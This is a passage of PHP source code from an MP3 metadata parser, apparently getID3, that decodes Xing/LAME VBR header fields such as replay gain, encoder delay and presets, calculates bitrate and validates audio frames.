						$used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0);
						$used_filesize -= (isset($info['id3v1']) ? 128 : 0);
						$used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0);
						$this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes');
					}

					$framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames'];

					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						//$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
						$info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						//$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
						$info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144;
					}
					$thisfile_mpeg_audio['framelength'] = floor($framelengthfloat);
				}

				if ($thisfile_mpeg_audio['xing_flags']['toc']) {
					$LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100);
					for ($i = 0; $i < 100; $i++) {
						$thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]);
					}
				}
				if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) {
					$thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4));
				}


				// http://gabriel.mp3-tech.org/mp3infotag.html
				if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') {

					// shortcut
					$thisfile_mpeg_audio['LAME'] = array();
					$thisfile_mpeg_audio_lame    = &$thisfile_mpeg_audio['LAME'];


					$thisfile_mpeg_audio_lame['long_version']  = substr($headerstring, $VBRidOffset + 120, 20);
					$thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9);

					//$thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']);
					$thisfile_mpeg_audio_lame['numeric_version'] = '';
					if (preg_match('#^LAME([0-9\\.a-z]*)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) {
						$thisfile_mpeg_audio_lame['short_version']   = $matches[0];
						$thisfile_mpeg_audio_lame['numeric_version'] = $matches[1];
					}
					if (strlen($thisfile_mpeg_audio_lame['numeric_version']) > 0) {
						foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) {
							$thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number);
						}
						//if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {
						if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207

							// extra 11 chars are not part of version string when LAMEtag present
							unset($thisfile_mpeg_audio_lame['long_version']);

							// It the LAME tag was only introduced in LAME v3.90
							// https://wiki.hydrogenaud.io/index.php/LAME#VBR_header_and_LAME_tag
							// https://hydrogenaud.io/index.php?topic=9933

							// Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html
							// are assuming a 'Xing' identifier offset of 0x24, which is the case for
							// MPEG-1 non-mono, but not for other combinations
							$LAMEtagOffsetContant = $VBRidOffset - 0x24;

							// shortcuts
							$thisfile_mpeg_audio_lame['RGAD']    = array('track'=>array(), 'album'=>array());
							$thisfile_mpeg_audio_lame_RGAD       = &$thisfile_mpeg_audio_lame['RGAD'];
							$thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track'];
							$thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album'];
							$thisfile_mpeg_audio_lame['raw'] = array();
							$thisfile_mpeg_audio_lame_raw    = &$thisfile_mpeg_audio_lame['raw'];

							// byte $9B  VBR Quality
							// This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications.
							// Actually overwrites original Xing bytes
							unset($thisfile_mpeg_audio['VBR_scale']);
							$thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1));

							// bytes $9C-$A4  Encoder short VersionString
							$thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9);

							// byte $A5  Info Tag revision + VBR method
							$LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1));

							$thisfile_mpeg_audio_lame['tag_revision']   = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4;
							$thisfile_mpeg_audio_lame_raw['vbr_method'] =  $LAMEtagRevisionVBRmethod & 0x0F;
							$thisfile_mpeg_audio_lame['vbr_method']     = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']);
							$thisfile_mpeg_audio['bitrate_mode']        = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr'

							// byte $A6  Lowpass filter value
							$thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100;

							// bytes $A7-$AE  Replay Gain
							// https://web.archive.org/web/20021015212753/http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html
							// bytes $A7-$AA : 32 bit floating point "Peak signal amplitude"
							if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') {
								// LAME 3.94a16 and later - 9.23 fixed point
								// ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375
								$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608);
							} else {
								// LAME 3.94a15 and earlier - 32-bit floating point
								// Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15
								$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4));
							}
							if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) {
								unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
							} else {
								$thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
							}

							$thisfile_mpeg_audio_lame_raw['RGAD_track']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2));
							$thisfile_mpeg_audio_lame_raw['RGAD_album']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2));


							if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) {

								$thisfile_mpeg_audio_lame_RGAD_track['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] =  $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF;
								$thisfile_mpeg_audio_lame_RGAD_track['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']);
								$thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']);
								$thisfile_mpeg_audio_lame_RGAD_track['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']);

								if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
									$info['replay_gain']['track']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
								}
								$info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator'];
								$info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db'];
							} else {
								unset($thisfile_mpeg_audio_lame_RGAD['track']);
							}
							if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) {

								$thisfile_mpeg_audio_lame_RGAD_album['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF;
								$thisfile_mpeg_audio_lame_RGAD_album['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']);
								$thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']);
								$thisfile_mpeg_audio_lame_RGAD_album['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']);

								if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
									$info['replay_gain']['album']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
								}
								$info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator'];
								$info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db'];
							} else {
								unset($thisfile_mpeg_audio_lame_RGAD['album']);
							}
							if (empty($thisfile_mpeg_audio_lame_RGAD)) {
								unset($thisfile_mpeg_audio_lame['RGAD']);
							}


							// byte $AF  Encoding flags + ATH Type
							$EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1));
							$thisfile_mpeg_audio_lame['encoding_flags']['nspsytune']   = (bool) ($EncodingFlagsATHtype & 0x10);
							$thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20);
							$thisfile_mpeg_audio_lame['encoding_flags']['nogap_next']  = (bool) ($EncodingFlagsATHtype & 0x40);
							$thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']  = (bool) ($EncodingFlagsATHtype & 0x80);
							$thisfile_mpeg_audio_lame['ath_type']                      =         $EncodingFlagsATHtype & 0x0F;

							// byte $B0  if ABR {specified bitrate} else {minimal bitrate}
							$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1));
							if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR)
								$thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
							} elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR)
								// ignore
							} elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate
								$thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
							}

							// bytes $B1-$B3  Encoder delays
							$EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3));
							$thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12;
							$thisfile_mpeg_audio_lame['end_padding']   =  $EncoderDelays & 0x000FFF;

							// byte $B4  Misc
							$MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1));
							$thisfile_mpeg_audio_lame_raw['noise_shaping']       = ($MiscByte & 0x03);
							$thisfile_mpeg_audio_lame_raw['stereo_mode']         = ($MiscByte & 0x1C) >> 2;
							$thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5;
							$thisfile_mpeg_audio_lame_raw['source_sample_freq']  = ($MiscByte & 0xC0) >> 6;
							$thisfile_mpeg_audio_lame['noise_shaping']       = $thisfile_mpeg_audio_lame_raw['noise_shaping'];
							$thisfile_mpeg_audio_lame['stereo_mode']         = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']);
							$thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality'];
							$thisfile_mpeg_audio_lame['source_sample_freq']  = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']);

							// byte $B5  MP3 Gain
							$thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true);
							$thisfile_mpeg_audio_lame['mp3_gain_db']     = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain'];
							$thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6));

							// bytes $B6-$B7  Preset and surround info
							$PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2));
							// Reserved                                                    = ($PresetSurroundBytes & 0xC000);
							$thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800);
							$thisfile_mpeg_audio_lame['surround_info']     = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']);
							$thisfile_mpeg_audio_lame['preset_used_id']    = ($PresetSurroundBytes & 0x07FF);
							$thisfile_mpeg_audio_lame['preset_used']       = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame);
							if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) {
								$this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org');
							}
							if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) {
								// this may change if 3.90.4 ever comes out
								$thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3';
							}

							// bytes $B8-$BB  MusicLength
							$thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4));
							$ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']);

							// bytes $BC-$BD  MusicCRC
							$thisfile_mpeg_audio_lame['music_crc']    = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2));

							// bytes $BE-$BF  CRC-16 of Info Tag
							$thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2));


							// LAME CBR
							if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1 && $thisfile_mpeg_audio['bitrate'] !== 'free') {

								$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
								$thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']);
								$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
								//if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) {
								//	$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min'];
								//}

							}

						}
					}
				}

			} else {

				// not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header)
				$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
				if ($recursivesearch) {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) {
						$recursivesearch = false;
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
					}
					if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') {
						$this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.');
					}
				}

			}

		}

		if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) {
			if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) {
				if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) {
					// ignore, audio data is broken into chunks so will always be data "missing"
				}
				elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) {
					$this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)');
				}
				else {
					$this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)');
				}
			} else {
				if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) {
				//	$prenullbytefileoffset = $this->ftell();
				//	$this->fseek($info['avdataend']);
				//	$PossibleNullByte = $this->fread(1);
				//	$this->fseek($prenullbytefileoffset);
				//	if ($PossibleNullByte === "\x00") {
						$info['avdataend']--;
				//		$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
				//	} else {
				//		$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				//	}
				} else {
					$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				}
			}
		}

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) {
			if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) {
				$framebytelength = $this->FreeFormatFrameLength($offset, true);
				if ($framebytelength > 0) {
					$thisfile_mpeg_audio['framelength'] = $framebytelength;
					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						$info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						$info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
					}
				} else {
					$this->error('Error calculating frame length of free-format MP3 without Xing/LAME header');
				}
			}
		}

		if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') {
			switch ($thisfile_mpeg_audio['bitrate_mode']) {
				case 'vbr':
				case 'abr':
					$bytes_per_frame = 1152;
					if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) {
						$bytes_per_frame = 384;
					} elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) {
						$bytes_per_frame = 576;
					}
					$thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0);
					if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) {
						$info['audio']['bitrate']       = $thisfile_mpeg_audio['VBR_bitrate'];
						$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion
					}
					break;
			}
		}

		// End variable-bitrate headers
		////////////////////////////////////////////////////////////////////////////////////

		if ($recursivesearch) {

			if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) {
				return false;
			}
			if (!empty($this->getid3->info['mp3_validity_check_bitrates']) && !empty($thisfile_mpeg_audio['bitrate_mode']) && ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') && !empty($thisfile_mpeg_audio['VBR_bitrate'])) {
				// https://github.com/JamesHeinrich/getID3/issues/287
				if (count(array_keys($this->getid3->info['mp3_validity_check_bitrates'])) == 1) {
					list($cbr_bitrate_in_short_scan) = array_keys($this->getid3->info['mp3_validity_check_bitrates']);
					$deviation_cbr_from_header_bitrate = abs($thisfile_mpeg_audio['VBR_bitrate'] - $cbr_bitrate_in_short_scan) / $cbr_bitrate_in_short_scan;
					if ($deviation_cbr_from_header_bitrate < 0.01) {
						// VBR header bitrate may differ slightly from true bitrate of frames, perhaps accounting for overhead of VBR header frame itself?
						// If measured CBR bitrate is within 1% of specified bitrate in VBR header then assume that file is truly CBR
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
						//$this->warning('VBR header ignored, assuming CBR '.round($cbr_bitrate_in_short_scan / 1000).'kbps based on scan of '.$this->mp3_valid_check_frames.' frames');
					}
				}
			}
			if (isset($this->getid3->info['mp3_validity_check_bitrates'])) {
				unset($this->getid3->info['mp3_validity_check_bitrates']);
			}

		}


		//if (false) {
		//    // experimental side info parsing section - not returning anything useful yet
		//
		//    $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData);
		//    $SideInfoOffset = 0;
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-1 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 5;
		//        } else {
		//            // MPEG-1 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $SideInfoOffset += 3;
		//        }
		//    } else { // 2 or 2.5
		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
		//            // MPEG-2, MPEG-2.5 (mono)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 1;
		//        } else {
		//            // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel)
		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            $SideInfoOffset += 2;
		//        }
		//    }
		//
		//    if ($thisfile_mpeg_audio['version'] == '1') {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) {
		//                $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 2;
		//            }
		//        }
		//    }
		//    for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) {
		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
		//            $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12);
		//            $SideInfoOffset += 12;
		//            $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//            $SideInfoOffset += 9;
		//            $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8);
		//            $SideInfoOffset += 8;
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//            } else {
		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
		//                $SideInfoOffset += 9;
		//            }
		//            $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//
		//            if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
		//
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2);
		//                $SideInfoOffset += 2;
		//                $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//
		//                for ($region = 0; $region < 2; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//                $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0;
		//
		//                for ($window = 0; $window < 3; $window++) {
		//                    $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                    $SideInfoOffset += 3;
		//                }
		//
		//            } else {
		//
		//                for ($region = 0; $region < 3; $region++) {
		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
		//                    $SideInfoOffset += 5;
		//                }
		//
		//                $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
		//                $SideInfoOffset += 4;
		//                $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3);
		//                $SideInfoOffset += 3;
		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
		//            }
		//
		//            if ($thisfile_mpeg_audio['version'] == '1') {
		//                $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//                $SideInfoOffset += 1;
		//            }
		//            $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//            $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
		//            $SideInfoOffset += 1;
		//        }
		//    }
		//}

		return true;
	}

	/**
	 * @param int $offset
	 * @param int $nextframetestoffset
	 * @param bool $ScanAsCBR
	 *
	 * @return bool
	 */
	public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) {
		$info = &$this->getid3->info;
		$firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']);
		$this->decodeMPEGaudioHeader($offset, $firstframetestarray, false);

		$info['mp3_validity_check_bitrates'] = array();
		for ($i = 0; $i < $this->mp3_valid_check_frames; $i++) {
			// check next (default: 50) frames for validity, to make sure we haven't run across a false synch
			if (($nextframetestoffset + 4) >= $info['avdataend']) {
				// end of file
				return true;
			}

			$nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
			if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) {
				/** @phpstan-ignore-next-line */
				getid3_lib::safe_inc($info['mp3_validity_check_bitrates'][$nextframetestarray['mpeg']['audio']['bitrate']]);
				if ($ScanAsCBR) {
					// force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header
					if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) {
						return false;
					}
				}


				// next frame is OK, get ready to check the one after that
				if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) {
					$nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength'];
				} else {
					$this->error('Frame at offset ('.$offset.') is has an invalid frame length.');
					return false;
				}

